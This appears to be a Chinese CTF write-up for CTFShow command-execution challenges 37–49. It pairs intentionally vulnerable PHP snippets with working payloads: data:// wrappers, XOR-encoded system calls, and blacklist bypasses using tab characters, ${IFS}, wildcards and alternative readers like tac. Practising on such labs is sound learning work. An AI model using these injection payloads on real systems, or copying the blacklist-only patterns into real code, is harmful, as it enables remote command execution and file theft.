1. 程式人生 > 實用技巧 >CTFShow-Web入門-命令執行 37-49

CTFShow-Web入門-命令執行 37-49

data://

用法:data://text/plain;base64,

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==

web39

error_reporting
(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }

payload:?c=data://text/plain,<?php system('cat *');?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c
)){ eval($c); } }else{ highlight_file(__FILE__); }

這道題和 GXZCTF 的 禁止套娃 類似,同時payload也可以套用

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

自己沒做出來,查了好久找到個wp,

先放個 payload:

c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');//

system('cat *')

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

我們可以 註釋符#(%23) 來代替

①payload1:?c=cat fl*;

②payload2:?c=cat fl* %23

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

cat 被過濾 ,檢視一下其他的一些檢視檔案內容的命令

cat     由第一行開始顯示檔案內容
tac     從最後一行開始顯示,可以看出 tac 是 cat 的倒著寫
more    一頁一頁的顯示檔案內容
less    與 more 類似,但是比 more 更好的是,他可以往前翻頁
head    只看頭幾行
tail    只看尾巴幾行
nl      顯示的時候,順道輸出 行號
od      以二進位制的方式讀取檔案內容
awk 樣式掃描和處理檔案

另外 分號被過濾 (可是使用 註釋符# 或者 管道符 ||)

①使用 cat 以外的命令

payload1:?c=tac f*||

②使用 cat 命令

payload2:?c=c"a"t f*||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload 同 43

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格 被過濾了

空格繞過

> < <> 重定向符
%09(需要php環境)
${IFS}
$IFS$9
{cat,flag.php} //用逗號實現了空格功能
%20
%09

payload1:?c=tac%09f*%09||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了 $ (如果前面用 ${IFS} 的話這裡就不行了)同時過濾了 *

① * 可以用 ? 來繞過

payload1:?c=tac%09fla??php%09||

payload2:?c=awk%09'/f/'%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了幾個 檔案讀取命令 ,但是我們的還能用

payload 同 46

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

沒過濾 tac ,還能用

payload 同 46

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了 百分號 ,對我們的影響不大

payload 同 46